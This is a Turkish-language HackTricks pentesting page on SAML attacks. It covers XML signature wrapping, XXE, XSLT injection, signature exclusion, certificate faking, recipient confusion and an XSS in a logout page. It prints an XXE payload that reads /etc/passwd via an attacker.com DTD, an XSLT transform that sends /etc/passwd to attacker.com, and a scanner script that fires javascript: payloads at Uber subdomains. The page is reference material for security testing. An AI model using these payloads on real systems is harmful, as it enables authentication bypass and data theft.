SAML Attacks

SAML Saldırıları

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

abonelik planlarını kontrol edin!
Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter'da 🐦 @hacktricks_live** takip edin.**
Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Temel Bilgiler

SAML Basics

Araç

SAMLExtractor: Bir URL veya URL listesi alabilen ve SAML tüketim URL'sini geri yazdıran bir araç.

XML gidiş-dönüş

XML'de, XML'in imzalı kısmı bellekte saklanır, ardından bazı kodlama/şifreleme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/şifreleme veriyi değiştirmemelidir, ancak bu senaryoya dayanarak, kontrol edilen veri ile orijinal veri aynı olmayabilir.

Örneğin, aşağıdaki kodu kontrol edin:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 veya daha önceki bir sürümle programı çalıştırmak, bunun yerine aşağıdaki çıktıyı verecektir:

First child in original doc: Y
First child after round-trip: Z

Bu, REXML'in yukarıdaki programdan orijinal XML belgesini nasıl gördüğüdür:

Ve bu da, bir dizi ayrıştırma ve serileştirme işleminden sonra nasıl gördüğüdür:

Zafiyet ve nasıl istismar edileceği hakkında daha fazla bilgi için:

XML İmza Sarma Saldırıları

XML İmza Sarma saldırılarında (XSW), düşmanlar XML belgeleri iki ayrı aşamadan geçirildiğinde ortaya çıkan bir zafiyeti istismar eder: imza doğrulama ve işlev çağrısı. Bu saldırılar, XML belgesinin yapısını değiştirmeyi içerir. Özellikle, saldırgan sahte öğeler enjekte eder ve bu öğeler XML İmzası'nın geçerliliğini tehlikeye atmaz. Bu manipülasyon, uygulama mantığı tarafından analiz edilen öğeler ile imza doğrulama modülü tarafından kontrol edilenler arasında bir tutarsızlık yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalırken ve doğrulamadan geçerken, uygulama mantığı sahte öğeleri işler. Böylece, saldırgan XML İmzası'nın bütünlük korumasını ve kaynak kimlik doğrulamasını etkili bir şekilde atlatır ve rastgele içerik enjekte etme olanağına sahip olur.

Aşağıdaki saldırılar bu blog yazısına ve bu makaleye dayanmaktadır. Daha fazla ayrıntı için bunları kontrol edin.

XSW #1

Strateji: İmza içeren yeni bir kök öğe eklenir.
Sonuç: Doğrulayıcı, meşru "Response -> Assertion -> Subject" ile saldırganın "kötü yeni Response -> Assertion -> Subject" arasında karışıklık yaşayabilir, bu da veri bütünlüğü sorunlarına yol açar.

XSW #2

XSW #1'den Farkı: Sarma imzası yerine ayrık bir imza kullanır.
Sonuç: XSW #1'e benzer "kötü" yapı, bütünlük kontrolünden sonra iş mantığını yanıltmayı amaçlar.

XSW #3

Strateji: Kötü bir Assertion, orijinal assertion ile aynı hiyerarşik seviyede oluşturulur.
Sonuç: İş mantığını kötü niyetli verileri kullanmaya yönlendirmeyi amaçlar.

XSW #4

XSW #3'ten Farkı: Orijinal Assertion, kopyalanmış (kötü) Assertion'ın çocuğu haline gelir.
Sonuç: XSW #3'e benzer ancak XML yapısını daha agresif bir şekilde değiştirir.

XSW #5

Benzersiz Özellik: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarmalı/saran/ayrık) uyar.
Sonuç: Kopyalanmış Assertion, İmza'yı sarar ve beklenen belge yapısını değiştirir.

XSW #6

Strateji: XSW #4 ve #5 ile benzer konum ekleme, ancak bir değişiklikle.
Sonuç: Kopyalanmış Assertion, İmza'yı sarar, bu da orijinal Assertion'ı sarar ve iç içe geçmiş yanıltıcı bir yapı oluşturur.

XSW #7

Strateji: Kopyalanmış Assertion'ın çocuk olarak eklendiği bir Extensions öğesi eklenir.
Sonuç: Bu, Extensions öğesinin daha az kısıtlayıcı şemasını istismar ederek şema doğrulama önlemlerini atlatır, özellikle OpenSAML gibi kütüphanelerde.

XSW #8

XSW #7'den Farkı: Saldırının bir varyantı için başka bir daha az kısıtlayıcı XML öğesi kullanır.
Sonuç: Orijinal Assertion, daha az kısıtlayıcı öğenin çocuğu haline gelir ve XSW #7'de kullanılan yapıyı tersine çevirir.

Araç

İsteği ayrıştırmak, seçtiğiniz herhangi bir XSW saldırısını uygulamak ve başlatmak için Burp eklentisi SAML Raider kullanabilirsiniz.

XXE

XXE saldırılarının ne tür saldırılar olduğunu bilmiyorsanız, lütfen aşağıdaki sayfayı okuyun:

XXE - XEE - XML External Entity

SAML Yanıtları deflate edilmiş ve base64 kodlanmış XML belgeleridir ve XML Dışsal Varlık (XXE) saldırılarına karşı hassas olabilir. SAML Yanıtının XML yapısını manipüle ederek, saldırganlar XXE zafiyetlerini istismar etmeye çalışabilir. İşte böyle bir saldırının nasıl görselleştirilebileceği:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Araçlar

SAML isteğinden POC oluşturmak için olası XXE zafiyetlerini ve SAML zafiyetlerini test etmek amacıyla Burp uzantısı SAML Raider'ı da kullanabilirsiniz.

Ayrıca bu konuşmaya da göz atın: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML Üzerinden XSLT

XSLT hakkında daha fazla bilgi için:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Genişletilebilir Stil Sayfası Dili Dönüşümleri (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli formatlara dönüştürmek için kullanılabilir. XSLT dönüşümlerinin dijital imzanın doğrulanmasından önce gerçekleştirildiğini belirtmek önemlidir. Bu, bir saldırının geçerli bir imza olmadan bile başarılı olabileceği anlamına gelir; kendi imzalı veya geçersiz bir imza devam etmek için yeterlidir.

Bu tür zafiyetleri kontrol etmek için bir POC bulabilirsiniz, bu bölümün başında bahsedilen hacktricks sayfasında yükler için de bulabilirsiniz.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Araç

SAML isteğinden POC oluşturmak için olası XSLT zafiyetlerini test etmek üzere Burp uzantısı SAML Raider kullanabilirsiniz.

Ayrıca bu konuşmayı kontrol edin: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML İmza Hariç Tutma

XML İmza Hariç Tutma, İmza öğesinin mevcut olmadığı durumlarda SAML uygulamalarının davranışını gözlemler. Bu öğe eksikse, imza doğrulaması gerçekleşmeyebilir, bu da onu savunmasız hale getirir. Bu durumu, genellikle imza ile doğrulanan içerikleri değiştirerek test etmek mümkündür.

Araç

Burp uzantısı SAML Raider kullanabilirsiniz. SAML Yanıtını yakalayın ve İmzaları Kaldır butonuna tıklayın. Böylece tüm İmza öğeleri kaldırılır.

İmzalar kaldırıldıktan sonra, isteğin hedefe devam etmesine izin verin. Eğer İmza, Servis tarafından gerekli değilse

Sertifika Sahteciliği

Sertifika Sahteciliği, bir Hizmet Sağlayıcının (SP), bir SAML Mesajının güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etme tekniğidir. Bu, SAML Yanıtını veya İddiasını imzalamak için *kendinden imzalı bir sertifika kullanmayı içerir ve bu, SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur.

Sertifika Sahteciliği Nasıl Yapılır

Aşağıdaki adımlar, SAML Raider Burp uzantısını kullanarak süreci özetlemektedir:

SAML Yanıtını yakalayın.
Yanıt bir imza içeriyorsa, sertifikayı Sertifikayı SAML Raider Sertifikalarına Gönder butonunu kullanarak gönderin.
SAML Raider Sertifikalar sekmesinde, içe aktarılan sertifikayı seçin ve kendinden imzalı bir kopya oluşturmak için Kaydet ve Kendinden İmzala butonuna tıklayın.
Burp'un Proxy'sinde yakalanan isteğe geri dönün. XML İmza açılır menüsünden yeni kendinden imzalı sertifikayı seçin.
İmzaları Kaldır butonunu kullanarak mevcut imzaları kaldırın.
Mesajı veya iddiayı yeni sertifika ile (Yeniden) Mesajı İmzala veya (Yeniden) İddia İmzala butonunu kullanarak imzalayın.
İmzalı mesajı iletin. Başarılı bir kimlik doğrulama, SP'nin kendinden imzalı sertifikanızla imzalanmış mesajları kabul ettiğini gösterir ve SAML mesajlarının doğrulama sürecinde potansiyel zafiyetleri ortaya çıkarır.

Token Alıcı Karışıklığı / Hizmet Sağlayıcı Hedef Karışıklığı

Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, Hizmet Sağlayıcının bir yanıtın hedef alıcısını doğru bir şekilde doğrulayıp doğrulamadığını kontrol etmeyi içerir. Özünde, bir Hizmet Sağlayıcı, bir başka sağlayıcı için tasarlanmışsa bir kimlik doğrulama yanıtını reddetmelidir. Buradaki kritik unsur, SAML Yanıtının SubjectConfirmationData öğesi içinde bulunan Alıcı alanıdır. Bu alan, İddianın gönderilmesi gereken yeri belirten bir URL'yi belirtir. Eğer gerçek alıcı, hedef Hizmet Sağlayıcı ile eşleşmiyorsa, İddia geçersiz sayılmalıdır.

Nasıl Çalışır

Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. Öncelikle, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkincisi, hedeflenen Hizmet Sağlayıcı (SP-Target), SP-Legit'e hizmet veren aynı Kimlik Sağlayıcıdan token kabul etmelidir.

Bu koşullar altında saldırı süreci basittir. Paylaşılan Kimlik Sağlayıcı aracılığıyla SP-Legit ile geçerli bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı yakalanır. Bu yakalanan SAML Yanıtı, aslında SP-Legit için tasarlanmışken, SP-Target'a yönlendirilir. Bu saldırıdaki başarı, SP-Target'ın İddia kabul etmesiyle ölçülür ve bu, SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlar.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Çıkış işlevinde XSS

Orijinal araştırmaya bu bağlantıdan erişilebilir.

Dizin brute forcing sürecinde, şu adreste bir çıkış sayfası keşfedildi:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Bu bağlantıya erişildiğinde, bir yönlendirme gerçekleşti:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Bu, base parametresinin bir URL kabul ettiğini ortaya koydu. Bunu dikkate alarak, bir XSS (Cross-Site Scripting) saldırısını başlatma girişimiyle URL'yi javascript:alert(123); ile değiştirme fikri ortaya çıktı.

Kitlesel Sömürü

Bu araştırmadan:

SAMLExtractor aracı, aynı kütüphaneyi kullanan uberinternal.com alt alanlarını analiz etmek için kullanıldı. Ardından, oidauth/prompt sayfasını hedef alan bir script geliştirildi. Bu script, verileri girerek ve çıktıda yansıyıp yansımadığını kontrol ederek XSS (Cross-Site Scripting) testi yapar. Girdi gerçekten yansıyorsa, script sayfayı savunmasız olarak işaretler.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)